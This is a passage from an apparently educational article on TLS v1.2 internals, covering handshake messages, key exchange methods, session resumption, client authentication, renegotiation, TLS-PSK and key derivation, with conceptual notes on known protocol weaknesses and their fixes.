The signature in the ServerKeyExchange
does not contain the cipher suite\n(and other negotiated parameters).\nAn attacker could attempt to use the signature generated by the server\nin a different cipher suite than the one it was generated for.
This defect is fixed in TLS v1.3. In TLS v1.3, the digital signature in the CertificateVerify
\nmessage contains a signature of the all the handshake messages so far:\nthis includes the negotiated cipher suite.
Vulnerability: Logjam attack
\nThis weakness in the TLS v1.2 protocol was exploited in the Logjam attack.\nIn this attack, the client is negotiating a DHE key exchange\nbut a meddler-in-the-middle (MITM) negotiates a DHE export[8] key exchange\nwith the server instead:
\nServerKeyExchange
which contains a DH public key on a\nweak (export) DH group;The Finished
messages are supposed to prevent this type of manipulation by ensuring that\nboth the client and the server have the same view of the handshake.\nHowever, if the attacker is able to break either of the DH public keys on this weak DH group\nfast enough,\nhe can compute the premaster secret in time in order to spoof the Finished
message.
The client can protect against this attack by checking that the DH group chosen\nby the server is big enough.
\nAt this point, the client peer sends:
\nChangeCipherSpec
message which indicates that the negotiated encryption method (in our case AES_128_GCM
) will be used for all of its subsequence messages;Finished
message which confirms that both peers have the same master secret (key confirmation) and observed the same the same handshake (protection against downgrade attacks).Then the server sends a ChangeCipherSpec
message and a Finished
message as well.
struct {\n enum { change_cipher_spec(1), (255) } type;\n} ChangeCipherSpec;\n\nstruct {\n opaque verify_data[verify_data_length];\n} Finished;\n
\nIn our case, we are using AES_128_GCM
for encryption.\nTwo encryption secret keys (one for each direction) are derived from the master secret.\nIn addition, two initialization vectors\nare derived from the master secret as well (one for each direction).\nAs this is an authenticated encryption with associated data (AEAD) algorithm,\nit already protects against tempering:\nthere is not need for a separate MAC and there is no need to derived MAC keys\nfrom the master secret.
The Finished\nmessage includes a verify_data
field\nwhich contains a a MAC[9] tag\nof all the previous handshake messages\nusing the master secret:
\nverify_data\n PRF(master_secret, finished_label, Hash(handshake_messages))\n [0..verify_data_length-1];\n\n
The other peer verifies this value\nin order to ensure that the handshake has not been tampered with\n(eg. downgrading the TLS version, forcing usage of weaker cipher suites,\ndisabling TLS extensions, etc.).
\nThe client and the server can now exchange secured\n(encrypted and protected) messages over the TLS channel.
\nWhen one side does not need to send data on the TLS connection anymore,\nit sends a Alert
\nclose_notify
messsage to the other side with the warning
level\nto signal end-of-data.
The following key exchange algorithms support server authentication using public-key cryptography:
\nRSA
(RSA transport), the pre master secret is randomly generated by the client and sent encrypted using the server RSA public key[10];DH_DSS
/DH_RSA
, Finite Field Diffie-Hellman (FFDH) key exchange with static server key;ECDH_ECDSA
/ECDH_RSA
, Elliptic Curve Diffie-Hellman (ECDH) key exchange with static server key;DHE_DSS
,FFDH key exchange with ephemeral server key authenticated using a DSA digital signature;DHE_RSA
, FFDH key exchange with ephemeral server key authenticated using a RSA digital signature;ECDHE_ECDSA
, ECDH key exchange with ephemeral server DH key authenticated using ECDSA digital signature;ECDHE_RSA
, ECDH key exchange with ephemeral server DH key authenticated using RSA digital signature.The following key exchange algorithms are anonymous\n(unauthenticated ephemeral Diffie-Hellman exchange).\nThey do not authenticate the server:
\nDH_anon
, anonymous FFDH key exchange;ECDH_anon
, anonymous ECDH key exchange.Other key exchange algorithms are used for providing mutual authentication\n(i.e. both the server and the client are authenticated)\nusing a shared-secret (instead of public-key cryptography or in addition of it):
\nPSK
, RSA_PSK
, DHE_PSK
, ECDHE_PSK
for TLS-PSK\n(see appendix);SRP
for TLS-SRP;ECCPWD
for TLS-PWD.struct {\n select (KeyExchangeAlgorithm) {\n case dh_anon:\n ServerDHParams params;\n case dhe_dss:\n case dhe_rsa:\n ServerDHParams params;\n digitally-signed struct {\n opaque client_random[32];\n opaque server_random[32];\n ServerDHParams params;\n } signed_params;\n case rsa:\n case dh_dss:\n case dh_rsa:\n case ecdh_dss:\n case ecdh_rsa:\n struct {} ;\n /* message is omitted for rsa, dh_dss, and dh_rsa */\n case ecdhe_dss:\n case ecdhe_rsa:\n case ecdh_anon:\n ServerECDHParams params;\n digitally-signed struct {\n opaque client_random[32];\n opaque server_random[32];\n ServerDHParams params;\n } signed_params;\n };\n} ServerKeyExchange;\n\nstruct {\n select (KeyExchangeAlgorithm) {\n case rsa:\n EncryptedPreMasterSecret;\n case dhe_dss:\n case dhe_rsa:\n case dh_dss:\n case dh_rsa:\n case dh_anon:\n ClientDiffieHellmanPublic;\n case ecdh_dss:\n case ecdh_rsa:\n case ecdhe_dss:\n case ecdhe_rsa:\n case ecdh_anon:\n ClientECDiffieHellmanPublic;\n } exchange_keys;\n} ClientKeyExchange;\n
\nstruct {\n public-key-encrypted PreMasterSecret pre_master_secret;\n} EncryptedPreMasterSecret;\n\nstruct {\n opaque dh_p<1..2^16-1>;\n opaque dh_g<1..2^16-1>;\n opaque dh_Ys<1..2^16-1>;\n} ServerDHParams; /* Ephemeral DH parameters */\n\nstruct {\n select (PublicValueEncoding) {\n case implicit: struct { };\n case explicit: opaque dh_Yc<1..2^16-1>;\n } dh_public;\n} ClientDiffieHellmanPublic;\n\nstruct {\n ECParameters curve_params;\n ECPoint public;\n} ServerECDHParams;\n\nstruct {\n ECPoint ecdh_Yc;\n} ClientECDiffieHellmanPublic;\n
\nNote: usage of the server certificate private key
\nAfter validating the certificate chain,\nthe client need to ensure that server owns the corresponding private key\nin order to know it is actually communicating with the correct server.
\nFor the RSA
exchange method,\nthe client encrypts the master secret with the server public key:\nif the handshake terminates correctly (server Finished
message),\nthe server has managed to decrypt the master secret\nand has the server certificate private key.
For (EC)DHE_*
key exchanges, the server sends a signature\n(signed with the server certificate signing key)\nof the ephemeral DH server public key (and the random nonces)\nalongside the ephemeral DH server public key\nin the ServerKeyExchange
message.
For (EC)DH_*
key exchanges, the certificate contains\nthe server static DH public key.\nThe server uses the corresponding static private key in the DH key exchange.
Note: signing method in non-ephemeral key exchange cipher suites
\nIn TLS v1.1,\nthe digital signature algorithm indicated in key exchange algorithm name\nof non-ephemeral key exchange methods\n(eg. RSA
in ECDH_RSA
)\nused to indicate the algorithm\nused for the digital signature of the server certificate.
In TLS v1.2, the algorithm for the certificate signature is independent of the cipher suite:\ninstead, the supported signature algorithms are indicated by the signature_algorithms
extension.\nTherefore, the DH_DSS
and DH_RSA
cipher suites on the one hand and the\nECDH_ECDSA
and ECDH_RSA
cipher suites on the other hand are equivalent in TLS v1.2.
Key exchange | \nTLS v1.1 | \nTLS v1.2 | \n
---|---|---|
DH_DSS | \nStatic FFDH with DSA signature | \nStatic FFDH with any signature | \n
DH_RSA | \nStatic FFDH with RSA signature | \nStatic FFDH with any signature (same) | \n
ECDH_ECDSA | \nStatic ECDH with ECDSA signature | \nStatic ECDH with any signature | \n
ECDH_RSA | \nStatic ECDH with RSA signature | \nStatic ECDH with any signature (same) | \n
Note: forward secrecy
\nWhe using static Diffie-Hellman key exchange (DH_DSS
, DH_RSA
, ECDH_RSA
, ECDH_ECDSA
),\nan attacker which manages to obtain the server static private key\ncan compute the pre master secret of all past TLS communications based on that key\nand decrypt them.\nThis is problematic:\nan attacker could records all the encrypted TLS communications\nwith a given server in the hope of being able to exfiltrate the server private key\nin the future;\nusing this private key it would then be able decrypt all the previous recorded communications.
Using an ephemeral Diffie-Hellman key exchange (ECDHE_*
and DHE_*
) fixes this problem.\nWhen using such a method, an attacker cannot\nuse the static (signing) server private key\nto recover the pre master secrets of previous TLS sessions.\nThis property is called forward secrecy\nwith respect to the server signature private key.
The usage of methods which do not support forward secrecy is discouraged.
\nNote: anonymous key exchange
\nThe DH_anon
and ECDH_anon
\nkey exchange algorithms\nuse non-authenticated (anonymous)\nephemeral Diffie-Hellman key exchange.\nIn this case, the server does not send certificates (and signatures).\nAs these methods are not authenticated, they are vulnerable to active attacks.\nThey only provide opportunistic encryption.
Message authentication is always used in addition to encryption.\nThis prevents a man-in-the-middle from tampering with the protected data.
\nSome encryption schemes use authenticated encryption with additional data (AEAD):\nthey already protect against tampering.\nThis is the case for example for AES_128_GCM
, AES_128_GCM
\nand CHACHA20_POLY1305
.
Other encryption schemes (eg. AES_256_CBC
) do not protect against tempering.\nIn this case, an HMAC is included with each encrypted TLS records\nin order to provide message authentication:\nTLS uses MAC-then-encrypt by default for this\nbut the encrypt_then_mac
extension\ncan be used to negotiate the usage of encrypt-then-MAC instead.\nEncrypt-then-MAC is considered to be more robust\n(see \u201cThe Order of Encryption and Authentication for Protecting Communications\u201d).
Note: TLS v1.3
\nTLS v1.3 only includes AEAD encryption schemes.
\nIn all cases, the payload protection covers\nsome additional authenticated data (AAD)\nin addition to the payload:
\n\nadditional_data = seq_num + TLSCompressed.type +\n TLSCompressed.version + TLSCompressed.length;\n\n
In particular,\nthe sequence number (seq_num
)\nis incremented for each TLS record:\nthis prevents an attacker from replaying a TLS record.
If some error happens at any time (eg. in the TLS handshake),\nthe peer sends an Alert
message\nwith some other alert code.
enum { warning(1), fatal(2), (255) } AlertLevel;\n\nenum {\n close_notify(0),\n unexpected_message(10),\n ...\n} AlertDescription;\n\nstruct {\n AlertLevel level;\n AlertDescription description;\n} Alert;\n
\nThe close_notify
alert is sent by one peer when it does no have any mesasge to send\non the TLS connection.
In order to speed up/optimize the connection establishment,\nTLS supports the resumption of an existing TLS session.
\nThis can have two benefits:
\nTwo different mechanisms may be used for session resumption in TLS v1.2:
\nIn both cases, the session state\n(cipher, MAC, master secret, etc.) established in a previous TLS connection are reused\nfor the new TLS connection.\nAs the random nonces are different in the new connection,\nthe generated key material is different as well.
\nNote: TLS v1.3
\nSession resumption is very different in TLS v1.3.
\nIf the server supports classic session resumption,
\nServerHello
message while initializing a full handshake;opaque SessionID<0..32>;\n
\nLater,\nthe client may try to resume the session in order to avoid the overhead\nassociated with a full handshake:
\nClientHello
;ServerHello
(otherwise, it uses a fresh session identifier);A downside of the classic session resumption mechanism is that it requires a server-side state:\nthe server needs to store the state of each sessions in some cache.\nThe session ticket extension can be used to avoid the need for server-side cache.\nIt is used instead of session identifiers.
\nWhen the session_ticket
,\nis used the server may send an opaque session ticket in the NewSessionTicket
message\nas the result of a TLS handshake.\nThe client keeps this ticket and associates it with the master secret.\nThis ticket can then sent by the client in a in a new TLS connection\n(in the session_ticket
extensions of the ClientHello
)\nin order to resume the connection.
struct {\n uint32 ticket_lifetime_hint;\n opaque ticket<0..2^16-1>;\n} NewSessionTicket;\n
\nThe ticket is design to contain the session state\n(cipher, MAC, master secret, etc.).\nTherefore, it needs to be be much larger than the session identifier.\nThe session state are encrypted[11] and authenticated\nusing some key material known by the server.\nWhen the server receives the ticket,\nit checks that it is genuine (and still valid),\ndecrypts it and uses the session state in the ticket\nfor this new connection.
\nThe message NewSessionTicket
message is sent\nbefore the ChangeCipherSpec
and is therefore not encrypted.\nAn attacker can obtain the session ticket but cannot use it to resume\na connection on behalf of the client as it does not know the master secret.
Note: ticket content
\nAs the ticket is opaque to the client, the server may use any format at its convenience\nbut a recommended/suggested format\nis included in the RFC:
\nstruct {\n opaque key_name[16];\n opaque iv[16];\n opaque encrypted_state<0..2^16-1>;\n opaque mac[32];\n} ticket;\n\nstruct {\n ProtocolVersion protocol_version;\n CipherSuite cipher_suite;\n CompressionMethod compression_method;\n opaque master_secret[48];\n ClientIdentity client_identity;\n uint32 timestamp;\n} StatePlaintext;\n\nenum {\n anonymous(0),\n certificate_based(1),\n psk(2)\n} ClientAuthenticationType;\n\nstruct {\n ClientAuthenticationType client_authentication_type;\n select (ClientAuthenticationType) {\n case anonymous: struct {};\n case certificate_based:\n ASN.1Cert certificate_list<0..2^24-1>;\n case psk:\n opaque psk_identity<0..2^16-1>; /* from [RFC4279] */\n };\n} ClientIdentity;\n
\nThe RFC suggests using encrypt-then-MAC\nwith AES-CBC-128 for encryption\nand HMAC-SHA-256 for MAC.
\nNote: ticket content with OpenSSL
\nFor OpenSSL,\nthe ticket content\nis by default an encrypt-then-MAC\n(using AES-256-CBC for encryption\nand HMAC-SHA-256 for MAC)\nof the following ASN.1 structure:
\nASN1_SEQUENCE(SSL_SESSION_ASN1) = {\n ASN1_EMBED(SSL_SESSION_ASN1, version, UINT32),\n ASN1_EMBED(SSL_SESSION_ASN1, ssl_version, INT32),\n ASN1_SIMPLE(SSL_SESSION_ASN1, cipher, ASN1_OCTET_STRING),\n ASN1_SIMPLE(SSL_SESSION_ASN1, session_id, ASN1_OCTET_STRING),\n ASN1_SIMPLE(SSL_SESSION_ASN1, master_key, ASN1_OCTET_STRING),\n ASN1_IMP_OPT(SSL_SESSION_ASN1, key_arg, ASN1_OCTET_STRING, 0),\n ASN1_EXP_OPT_EMBED(SSL_SESSION_ASN1, time, ZINT64, 1),\n ASN1_EXP_OPT_EMBED(SSL_SESSION_ASN1, timeout, ZINT64, 2),\n ASN1_EXP_OPT(SSL_SESSION_ASN1, peer, X509, 3),\n ASN1_EXP_OPT(SSL_SESSION_ASN1, session_id_context, ASN1_OCTET_STRING, 4),\n ASN1_EXP_OPT_EMBED(SSL_SESSION_ASN1, verify_result, ZINT32, 5),\n ASN1_EXP_OPT(SSL_SESSION_ASN1, tlsext_hostname, ASN1_OCTET_STRING, 6),\n#ifndef OPENSSL_NO_PSK\n ASN1_EXP_OPT(SSL_SESSION_ASN1, psk_identity_hint, ASN1_OCTET_STRING, 7),\n ASN1_EXP_OPT(SSL_SESSION_ASN1, psk_identity, ASN1_OCTET_STRING, 8),\n#endif\n ASN1_EXP_OPT_EMBED(SSL_SESSION_ASN1, tlsext_tick_lifetime_hint, ZUINT64, 9),\n ASN1_EXP_OPT(SSL_SESSION_ASN1, tlsext_tick, ASN1_OCTET_STRING, 10),\n ASN1_EXP_OPT(SSL_SESSION_ASN1, comp_id, ASN1_OCTET_STRING, 11),\n#ifndef OPENSSL_NO_SRP\n ASN1_EXP_OPT(SSL_SESSION_ASN1, srp_username, ASN1_OCTET_STRING, 12),\n#endif\n ASN1_EXP_OPT_EMBED(SSL_SESSION_ASN1, flags, ZUINT64, 13),\n ASN1_EXP_OPT_EMBED(SSL_SESSION_ASN1, tlsext_tick_age_add, ZUINT32, 14),\n ASN1_EXP_OPT_EMBED(SSL_SESSION_ASN1, max_early_data, ZUINT32, 15),\n ASN1_EXP_OPT(SSL_SESSION_ASN1, alpn_selected, ASN1_OCTET_STRING, 16),\n ASN1_EXP_OPT_EMBED(SSL_SESSION_ASN1, tlsext_max_fragment_len_mode, ZUINT32, 17),\n ASN1_EXP_OPT(SSL_SESSION_ASN1, ticket_appdata, ASN1_OCTET_STRING, 18),\n ASN1_EXP_OPT_EMBED(SSL_SESSION_ASN1, kex_group, UINT32, 19),\n ASN1_EXP_OPT(SSL_SESSION_ASN1, peer_rpk, ASN1_OCTET_STRING, 20)\n} static_ASN1_SEQUENCE_END(SSL_SESSION_ASN1)\n
\nVulnerability: SSRF attacks through session resumption
\nBoth session resumption mechanisms can be abused to trigger some form of\nSSRF attacks on some protocols when used in combination with DNS rebinding.\nSee When TLS Hacks You.
\nWarning: session resumption and forward secrecy
\nWe have seen that TLS key exchanges based on ephemeral Diffie-Hellman\nprovide forward secrecy:\nif the long-term/persistent keys (eg. signing private keys) are compromised,\nthe security of the previously established sessions is not compromised.\nHowever, both session resumption mechanisms may compromise forward secrecy.
\nWhen using session identifiers for session resumption,\nboth the client and the server need to keep the session master secret\nin a session cache for a possibly long duration (depending on the implementation):\nan attacker getting access to this session cache could\ndecrypt all the (previous) connections based on the master secrets present in the cache.\nIf the cache is stored on a persistent storage,\nthe master secrets may still be present on disk\nafter they have been evicted from the cache.
\nWhen using session tickets for session resumption,\nthe tickets are sent in cleartext in both ClientHello
and NewSessionTicket
.\nThe session ticket usually contains the master secret\nencrypted with an encryption key possessed by the server\n(and authenticated using a MAC):
StatePlaintext.client_identity
\n(or a similar field such as the OpenSSL peer
field).For this reason,\nMozilla recommends to disable session tickets.\nAnother solution (depending on the implementation) might be to restart the server daily\nin order to purge the cache and renew the session ticket encryption key.
\nUsually, only the server is authenticated at the TLS level.\nHowever, TLS supports authenticating the client as well[12]\nusing public-key cryptography.\nThis is called mutual (or client) TLS authentication (mTLS).
\nWhen the server supports mutual authentication,\nit sends a CertificateRequest
message.\nThis message can include information about which certificates are accepted by the server:\nthe certificate_authorities
field can list\nthe distinguished names (DN) of the certificate authorities (CA)\n(either root or intermediate) accepted by the server.
enum {\n rsa_sign(1), dss_sign(2), rsa_fixed_dh(3), dss_fixed_dh(4),\n rsa_ephemeral_dh_RESERVED(5), dss_ephemeral_dh_RESERVED(6),\n fortezza_dms_RESERVED(20),\n ecdsa_sign(64), rsa_fixed_ecdh(65), ecdsa_fixed_ecdh(66),\n (255)\n} ClientCertificateType;\n\nopaque DistinguishedName<1..2^16-1>;\n\nstruct {\n ClientCertificateType certificate_types<1..2^8-1>;\n SignatureAndHashAlgorithm supported_signature_algorithms<2^16-1>;\n DistinguishedName certificate_authorities<0..2^16-1>;\n} CertificateRequest;\n
\nThe server advertizes which type(s) of client certificate\nit is willing to accept:
\nrsa_sign
, client authentication with RSA signature;dss_sign
, client authentication with DSA signature;ecdsa_sign
, client authentication with ECDSA signature;rsa_fixed_dh
and dss_fixed_dh
, client authentication with fixed FFDH key (both are identical in TLS v1.2);rsa_fixed_ecdh
and ecdsa_fixed_ecdh
, client authentication with fixed ECDH key (deprecated in TLS v1.2).If the client chooses not to authenticate itself,\nit sends an empty Certificate
message:\nthe server may choose to either accept or reject (by terminating the TLS connection with a handshake_failure
error)\nnon-authenticated clients.
If the client chooses to authenticate itself,\nit first sends its certificate chain in a Certificate
message:
*_sign
)\nthe client then sends a CertificateVerify
message\nwhich contains a signature of all the previous handshake messages.*_fixed_dh
or *_fixed_ecdh
),\nthe client does not generate an ephemeral public key\nbut uses the public key in the certificate.\nThis is only possible if the cipher suite\nuses a compatible Diffie-Hellman key exchange (FFDH vs. ECDH)\nand the same Diffie-Hellman parameters.\nThe rsa_fixed_ecdh
and ecdsa_fixed_ecdh
client certificate types\nare supposed to be only usable using ECDH_ECDSA
and ECDH_RSA
\n(i.e. non-ephemeral) key exchanges\n(but I did not find the associated requirement for rsa_fixed_dh
and dss_fixed_dh
).struct {\n digitally-signed struct {\n opaque handshake_messages[handshake_messages_length];\n }\n} CertificateVerify;\n
\nWarning: privacy consideration
\nThe client identity (included in the certificate) is sent in cleartext.\nThis is not ideal for privacy in many contexts.\nFor example, for authenticating a user: the user name or email may be present in the user certificate\nand could be sent in cleartext.\nSome details are provided in appendix.
\nIt is possible to prevent this by doing the client authentication as part of a TLS renegotiation.
\nWarning: forward secrecy
\nUsing a static client DH key pair poses the same problem as using a static server DH key pair:\nif an attacker manages to get the static private DH key, he can then decrypt all the previous TLS\nsessions initiated using that static key (lack of forward secrecy).
\nNote: mid-session client authentication with HTTP
\nWeb applications often used to rely\non mid-session TLS client authentication:\nthe server would only request TLS client authentication\n(using TLS renegotiation)\nwhen the client would request some restricted resources.\nHowever, mid-session client authentication is only supported with HTTP/1.x.
\nIn HTTP/2, TLS renegotiation is only permitted\nin order to provide confidentiality protection for client credentials (the client certificate).\nTLS renegotiation must not be used to for mid-session client authentication with HTTP/2.
\nTLS renegotiation has been removed in TLS v1.3.\nIn TLS v1.3, post-handshake client authentication\ncould arguably be used instead of TLS renegotiation.\nHowever, its usage is forbidden both in HTTP/2\nand in QUIC\n(which is used a transport for HTTP/3)\nbecause it does not play nicely with request multiplexing.
\nMoreover, TLS v1.3 post-authentication support is not widely support in browsers\nand is probably not going to be widely supported:
\nsecurity.tls.enable_post_handshake_auth
);Application | \nTLS | \nStatus of mid-session client authentication | \n
---|---|---|
HTTP/1.1 | \nv1.2 | \nsupported (with TLS renegotiation) | \n
HTTP/1.1 | \nv1.3 | \ntheoretically supported (with TLS v1.3 post-handshake authentication) but not implemented in practice | \n
HTTP/2 | \nv1.2 | \nnot supported (TLS v1.2 renegotiation only allowed to provide confidentiality to the authentication) | \n
HTTP/2 | \nv1.3 | \nnot supported (TLS v1.3 post handshake authentication forbidden with HTTP/2) | \n
HTTP/3 | \nv1.3 | \nnot supported (TLS v1.3 post handshake authentication forbidden with QUIC, HTTP/3) | \n
Warning: Key Compromise Impersonation
\nWhen the client uses static DH authentication\n(rsa_fixed_dh
, dss_fixed_dh
, rsa_fixed_ecdh
and ecdsa_fixed_ecdh
),\nwith a TLS_(EC)DH_*
key exchange,\nthe actual key exchange is static-static DH\nwhich is vulnerable to Key Compromise Impersonation (KCI).\nIf an attacker manages to get the static DH private key of one participant (Alice),\nhe can not only impersonate this participant (Alice)\nbut any other participant (eg. Bob) when talking to Alice.\nA practical vulnerability (CVE-2015-8960)\nis detailed in appendix.
The client may start a new handshake\nin order to renegotiate the security parameters of a connection\nat any time after the initial handshake.
\nWhy?\nReasons for using TLS renegotiation may include:
\nCertificate
message is transmitted in the handshake before the CipherSpecChaneg
\nmessage. It is therefore sent in cleartext in the initial handshake.\nDoing the mutual client authentication in a renegotiation handshake can be used to avoid sending the\nuser Certificate
in cleartext.How?\nIn order to do this, the client sends a ClientHello
message\nand proceeds with a new handshake.\nThe client may start the TLS renegotiation unilaterally\nor at the request of the server (HelloRequest
message).\nAs the renegotiation handshake happens after the ChangecipherSpec
,\nit is protected (encrypted) using the key material of the existing connection.
struct { } HelloRequest\n
\nWarning: security impact of TLS renegotiation
\nTLS renegotiation can be considered to be a dangerous feature.\nSeveral vulnerabilites are related to renegotiation\nsuch as CVE-2009-3555\n(see the explanations in RFC5746)\nor 3SHAKE.
\nTLS renegotiation has been removed (and replaced with other mechanisms) in TLS v1.3.\nHTTP/2 explicitly forbids the usage of TLS renegotiation\nin many cases.
\nSecure renegotiation\nis a fix at the TLS protocol level for CVE-2009-3555.\nIn introduces the renegotiation_info
TLS extension.\nIn the initial handshake, this extension is only used to negotiate the usage of secure renegotiation.\nIn the renegotiation handshake, these extension contain:
verify_data
of the original handshake;verify_data
and the server verify_data
of the original handshake.Vulnerability: unsafe TLS renegotiations
\nTLS renegotiation without renegotiation_info
is not safe\n(vulnerable to CVE-2009-3555.\nUnsafe (legacy) TLS renegotiation is disabled by default in current implementations.\nFor example, with OpenSSL,\nthe SSL_OP_ALLOW_UNSAFE_LEGACY_RENEGOTIATION
\noption must be set in order to accept unsafe renegotiations.
Note: extended master secret
\nThe extended_master_secret
extension\nhas been introduced to fix the 3SHAKE attack.\nThis attacks combines renegotiation and session resumption\nin order to break client authentication.
By default, TLS uses X.509 certificates.\nAlternative public keys formats\ncan be used instead of X.509 certificates using the\nclient_certificate_type
and server_certificate_type
TLS extensions.
This can be used to use exchange raw public keys instead of X.509 certificates.\nIn this case, the Certificate
messages contain the raw public key of the peer.\nRaw public keys may for example, be used for IoT applications\nin order to avoid relying on a public key infrastructure (PKI).\nThe devices may for example be\nidentified with a hash of their public keys.\nAlternatively, a similar result could be achieved by exchanging self-signed X.509 certificates\nand only process the public keys.
opaque ASN.1Cert<1..2^24-1>;\n\nstruct {\n select(certificate_type){\n\n // certificate type defined in this document.\n case RawPublicKey:\n opaque ASN.1_subjectPublicKeyInfo<1..2^24-1>;\n\n // X.509 certificate defined in RFC 5246\n case X.509:\n ASN.1Cert certificate_list<0..2^24-1>;\n\n // Additional certificate type based on\n // \"TLS Certificate Types\" subregistry\n };\n} Certificate;\n
\nTLS-PSK\nincludes key exchange algorithms which provide mutual authentication\nbased on a (per-client) shared secret, the pre shared key (PSK):\npublic key cryptography is not used for server (or client) authentication at all\n(no certificate is used).\nThis can be useful for low-performance environments\nsuch as IoT applications.
\n\nPSK key exchange algorithms:
\nPSK
, mutual authentication based on a PSK;RSA_PSK
, mutual authentication based on a PSK combined with a RSA encrypted secret;DHE_PSK
, mutual authentication based on a PSK combined with an ephemeral FFDH key exchange;ECDHE_PSK
mutual authentication based on a PSK combined with an ephemeral ECDH key exchange.Warning: forward secrecy
\nThe PSK
key exchange algorithm does not provide forward secrecy with respect to the PSK.
The RSA_PSK
key exchange algorithm does not provide forward secrecy either:\nan attacker which has both the PSK and the server RSA private key\ncan decrypt previous communications.
The DHE_PSK
and ECDHE_PSK
key exchange algorithms\nuse ephemeral Diffie-Hellman to provide forward secrecy with respect to the PSK.
Warning: other security considerations
\nSee the next episode about TLS v1.3\nfor more security considerations about the usage of PSK in TLS\nmost of which applies to TLS v1.2 as well.
\nSummary:
\nA psk_identity
is included in the ClientKeyExchange
.\nIt has the same role as login,\nidentifying the client that is trying to authenticate.
Warning: privacy consideration
\nThe client sends its PSK identity in cleartext.
\nstruct {\n select (KeyExchangeAlgorithm) {\n case psk:\n opaque psk_identity_hint<0..2^16-1>;\n case diffie_hellman_psk:\n opaque psk_identity_hint<0..2^16-1>;\n ServerDHParams params;\n case rsa_psk:\n opaque psk_identity_hint<0..2^16-1>;\n case ec_diffie_hellman_psk:\n opaque psk_identity_hint<0..2^16-1>;\n ServerECDHParams params;\n };\n} ServerKeyExchange;\n\nstruct {\n select (KeyExchangeAlgorithm) {\n case psk:\n opaque psk_identity<0..2^16-1>;\n case diffie_hellman_psk:\n opaque psk_identity<0..2^16-1>;\n ClientDiffieHellmanPublic public;\n case rsa_psk:\n opaque psk_identity<0..2^16-1>;\n EncryptedPreMasterSecret;\n case ec_diffie_hellman_psk:\n opaque psk_identity<0..2^16-1>;\n ClientECDiffieHellmanPublic public;\n } exchange_keys;\n} ClientKeyExchange;\n
\nWarning: low-entropy secret
\nTLS-PSK should be used with high entropy PSK.\nIt should not be used with PSKs derived from passwords:\nsee TLS-SRP\nand TLS-PWD\nfor password-based mutual authentication at the TLS layer.
\nThe random values in the hello messages are used for:
\nThis prevents some forms of replay attacks\nby ensuring that\nboth participants contribute some ephemeral value to the master secret.\nThis is especially important when non non-DHE key exchange is used\nor for session resumption.
\nThe random values are used as well in the digital signatures\nused for authentication (for example in in the DHE_*
and ECDHE_*
key exchange algorithms):
struct {\n select (KeyExchangeAlgorithm) {\n case dhe_dss:\n case dhe_rsa:\n ServerDHParams params;\n digitally-signed struct {\n opaque client_random[32];\n opaque server_random[32];\n ServerDHParams params;\n } signed_params;\n case ecdhe_dss:\n case ecdhe_rsa:\n case ecdh_anon:\n ServerECDHParams params;\n digitally-signed struct {\n opaque client_random[32];\n opaque server_random[32];\n ServerDHParams params;\n } signed_params;\n };\n} ServerKeyExchange;\n
\nBy including a new random for each TLS connection,\nthe client can be sure that the server ephemeral DH public key is not being replayed.
\nThe hash function included in the cipher suite is used:
\nThe TLS PRF is used:
\nverify_data
field in the Finished
messages (working as a MAC);The pre master secret is obtained as a result of the key exchange algorithm.\nDepending on the key exchange algorithm it may:
\nRSA
key exchange);The master secret is derived from pre master secret\nand the two nonces (client and server random).\nThe master secret is reused in case of session resumption.\nIt is computed as:
\n\nmaster_secret = PRF(pre_master_secret, \"master secret\",\n ClientHello.random + ServerHello.random)\n [0..47];\n\n
where the PRF\ndepends on the cipher suite.
\nThe inclusion of the server and client nonces\nprevents some form of replay attacks\nby making sure that both participants contribute some ephemeral value\nto the master secret.
\nWhen the extended_master_secret
extension is used,\nthe hash of all the previous handshake messages is used\ninstead of only using the server and client random values.\nThis binds the master secret with the full TLS handshake\nwhich fixes the triple handshake attack.
\nmaster_secret = PRF(pre_master_secret, \"extended master secret\",\n session_hash)\n [0..47];\n\n
When using session resumption, the same master secret is reused\nfor all connections associated with the same TLS session.
\nNote: importance of the master secret
\nThe master secret (or the pre master secret) is everything needed\nto decrypt all the connections belonging to a given session,\nhijack them, or create new connections from the session\n(if session resumption is enabled).
\nThe key material is computed as:
\n\nkey_block = PRF(SecurityParameters.master_secret,\n \"key expansion\",\n SecurityParameters.server_random +\n SecurityParameters.client_random);\n\n
This key material is decomposed in client and server MAC keys,\nencryption keys and initialization vectors (IV):
\n\nclient_write_MAC_key[SecurityParameters.mac_key_length]\nserver_write_MAC_key[SecurityParameters.mac_key_length]\nclient_write_key[SecurityParameters.enc_key_length]\nserver_write_key[SecurityParameters.enc_key_length]\nclient_write_IV[SecurityParameters.fixed_iv_length]\nserver_write_IV[SecurityParameters.fixed_iv_length]\n\n
As the master secret is reused in case of session resumption,\nthe inclusion of the server and client random values ensures\nthat the key material changes is different from different TLS connections in the same TLS session:\nthis prevents replay attacks through session resumption.
\nThe Keying Material Exporters mechanism\ndefines a way to generate key material\nas a result of the TLS connection\nto be used in other protocols.
\nThis can either be:
\n\nPRF(SecurityParameters.master_secret, label,\n SecurityParameters.client_random +\n SecurityParameters.server_random\n )[length]\nPRF(SecurityParameters.master_secret, label,\n SecurityParameters.client_random +\n SecurityParameters.server_random +\n context_value_length + context_value\n )[length]\n\n
where the label depends on the consuming application/protocol.
\nA IANA registry of existing labels\ncan be used to find some usages of this feature.
\nNote: Key exporter usage in OpenVPN
\nOpenVPN uses this feature\nfor generating key material from the TLS handshake.\nSee the generate_key_expansion_tls_export()
and\nkey_state_export_keying_material()
functions.
Note: similar mechanism in some EAP methods (eg. WPA-entreprise)
\nSome EAP methods such as EAP-TLS\nuse a similar approach to export resulting key material, a master session key (MSK),\nwhich may be used by lower layer protocols.\nFor example, in WPA-entreprise (aka WPA-EAP),\nthe MSK exported by the EAP method\nis used to derive Wifi key material:\nthese keys are used to encrypt and authenticate the Wifi frames.
\nThis EAP-TLS method does not explicitly mention\nthe key exporter mechanism as it predates the key exporter RFC.
\nIn some applications,\nno application protocol data is transported on top of the TLS connection.\nInstead, the TLS protocl is only used for the secure handshake and the authentication it provides.\nThe secrets established in the TLS handshake\nmay be used to generate cryptograpic material for another protocol\n(see the Keying Material Exporters)\nwhich does not sit on top of TLS.\nThis approach is for example used in\nOpenVPN,\nWPA-EAP (WPA-entreprise) with EAP-TLS,\nand QUIC[14]).
